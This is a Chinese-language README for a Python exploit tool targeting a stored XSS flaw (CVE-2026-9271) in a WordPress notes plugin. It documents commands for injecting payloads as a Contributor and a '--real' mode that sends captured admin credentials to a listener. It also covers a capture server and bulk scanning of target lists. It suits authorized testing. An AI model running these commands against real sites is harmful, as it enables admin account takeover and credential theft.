CVE-2026-9271 授权安全评估工具
作者:Sudeepa Wanigarathna · 工具:KIM-Guardian Pro v1.0
主脚本:CVE-2026-9271.py
[!IMPORTANT] 仅限授权使用。 本工具仅用于安全研究、教育,以及对您拥有或已获得明确书面授权评估的系统进行测试。未经授权访问计算机系统属于违法行为。作者对滥用行为不承担任何责任。
CVE-2026-9271 是 WordPress KeepInMind(Dashboard Notes)插件中的一个存储型跨站脚本(XSS)漏洞。由于对笔记内容过滤不足,低权限的已认证用户(Contributor+ 及以上)可以存储 HTML/JS,这些脚本会在管理员浏览器中执行,进而可能导致管理员会话被入侵 / 账户被接管。
KIM-Guardian Pro(CVE-2026-9271.py)是一款面向授权测试人员的 Python 评估工具,可用于:
reports/ 下的文本报告中| 属性 | 值 |
|---|---|
| CVE ID | CVE-2026-9271 |
| 攻击向量 | 已认证(Contributor+)→ 存储型 XSS → 影响管理员 |
| 影响 | 管理员浏览器 XSS;在易受攻击的安装中可能导致账户被接管 |
| 受影响产品 | WordPress KeepInMind / KeepInMind Dashboard Notes |
| 受影响版本 | ≤ 0.8.4.2(已在 0.8.4.3+ 中修复) |
| 漏洞类型 | 存储型跨站脚本(XSS) |
| CWE | CWE-79(在网页生成过程中未正确中和输入) |
| 攻击面 | 作用 |
|---|---|
/wp-json/keepinmind/v1/notes | 用于创建/读取笔记的 REST API |
/wp-admin/ | 存储的笔记可能在管理后台中渲染 |
| 插件路径 | /wp-content/plugins/keepinmind-dashboard-notes/ |
--no-cleanup)| 功能 | 说明 |
|---|---|
| 插件检测 | 检查 KeepInMind 安装路径和版本字符串 |
| WordPress 版本 | 可用时提取 generator / 版本元数据 |
| 安全测试模式 | 默认使用覆盖层标记证明 XSS,不捕获凭证 |
| 认证评估 | 使用 Contributor+ 凭证登录,进行完整的 REST 注入 |
| 载荷清理 | 评估后移除注入的笔记 |
| 批量扫描 | 多线程扫描 URL 列表,检测插件及易受攻击的版本 |
| SQLite 历史 | 将评估存储在 kim_guardian.db 中 |
| 文本报告 | 在 reports/ 下写入带时间戳的报告 |
| 捕获服务器 | 可选的本地 HTTP 监听器,用于实验环境凭证捕获演练 |
| Web UI | 可选的 Flask 仪表盘(web 模式) |
| 功能 | 说明 |
|---|---|
| 详细日志记录 | 在 logs/ 下输出文件 + 控制台调试信息 |
| 代理支持 | 通过 Burp 或其他 HTTP 代理路由流量 |
| 可配置超时 | 每次请求的超时时间(默认 30 秒) |
| 工作线程池 | 批量扫描的可调并发 |
pipcd /path/to/exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
# Recommended extras used by this script:
pip install colorama beautifulsoup4 requests flask
python3 CVE-2026-9271.py --help
requests>=2.31.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
flask>=3.0.0 # optional — web mode only
请仅将
https://lab.example替换为实验环境或已授权的目标。
# Help / modes
python3 CVE-2026-9271.py --help
# Safe single-target assessment (default: test payload)
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' -v
# Bulk version / plugin scan
python3 CVE-2026-9271.py bulk -f targets.txt -w 8 -o bulk_results.txt
# List recent assessments from SQLite
python3 CVE-2026-9271.py db --list --limit 20
# Local capture server (lab only)
python3 CVE-2026-9271.py capture --port 5000
# Optional web UI
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
python3 CVE-2026-9271.py --help
python3 CVE-2026-9271.py assess --help
默认模式使用不捕获凭证的测试覆盖层。请提供 Contributor+ 凭证,以便通过 REST API 进行注入。
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor \
-p 'password' \
-v
工作流程:
-u / -p)--no-cleanup)reports/kim_assessment_*.txtpython3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' --no-cleanup
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
--proxy http://127.0.0.1:8080 \
--timeout 45 \
-v
需要攻击者/捕获服务器的基础 URL 以及 --real 参数。实验环境中建议将捕获服务器保持在 localhost。
# Terminal 1 — capture listener
python3 CVE-2026-9271.py capture --port 5000
# Terminal 2 — assessment with capture endpoint
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
-a http://127.0.0.1:5000 \
--real \
-v
捕获服务器 UI(当服务器运行时):
| 路径 | 用途 |
|---|---|
/ | 捕获服务器状态页 |
/capture | 用于表单提交的 POST 端点 |
/captured | 最近捕获的条目(实验环境审查) |
# targets.txt — one URL per line
python3 CVE-2026-9271.py bulk -f targets.txt -w 5 -o bulk_scan_results.txt
# Or comma-separated URLs
python3 CVE-2026-9271.py bulk -u "https://a.example,https://b.example" -w 3
批量检查通常包括 WordPress 识别信息、KeepInMind 版本、REST 可达性以及 wp-login.php 是否存在。
python3 CVE-2026-9271.py db --list
python3 CVE-2026-9271.py db --list --limit 50
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
出于安全考虑,默认绑定到 localhost。
| 模式 | 说明 |
|---|---|
assess | 单目标 KeepInMind 评估 |
bulk | 多目标插件 / 版本扫描 |
capture | 本地凭证捕获 HTTP 服务器 |
web | 可选的 Flask Web UI |
db | 列出已存储的评估 |
assess| 参数 | 默认值 | 说明 |
|---|---|---|
url | 必填 | 目标 WordPress URL |
-u, --username | — | WordPress 用户名(Contributor+ 及以上) |
-p, --password | — | WordPress 密码 |
-a, --attacker | — | 捕获服务器基础 URL(实验环境模拟) |
-t, --test | 开启 | 优先使用安全测试载荷 |
-r, --real | 关闭 | 启用实验环境攻击载荷(需要 --attacker) |
--no-cleanup | 关闭 | 保留注入的笔记 |
-v, --verbose | 关闭 | 详细 / 调试日志 |
--timeout | 30 | 请求超时时间(秒) |
--proxy | — | 代理 URL(例如 http://127.0.0.1:8080) |
bulk| 参数 | 默认值 | 说明 |
|---|---|---|
-f, --file | — | URL 文件(每行一个) |
-u, --urls | — | 逗号分隔的 URL 列表 |
-w, --workers | 5 | 线程池大小 |
-o, --output | bulk_scan_results.txt | 报告路径 |
capture| 参数 | 默认值 | 说明 |
|---|---|---|
--port | 5000 | 监听端口 |
web| 参数 | 默认值 | 说明 |
|---|---|---|
--host | 127.0.0.1 | 绑定地址 |
--port | 8080 | 监听端口 |
db| 参数 | 默认值 | 说明 |
|---|---|---|
--list | 关闭 | 列出最近的评估 |
--limit | 10 | 显示的最大行数 |
认证、插件检测、注入、验证和清理的彩色状态输出。
成功的 assess 运行会写入如下格式的文件:
reports/kim_assessment_YYYYMMDD_HHMMSS.txt
| 文件 | 用途 |
|---|---|
kim_guardian.db | 评估历史(目标、版本、漏洞标志、风险、耗时) |
| 路径 | 用途 |
|---|---|
logs/kim_pro_*.log | 每次运行的应用程序日志 |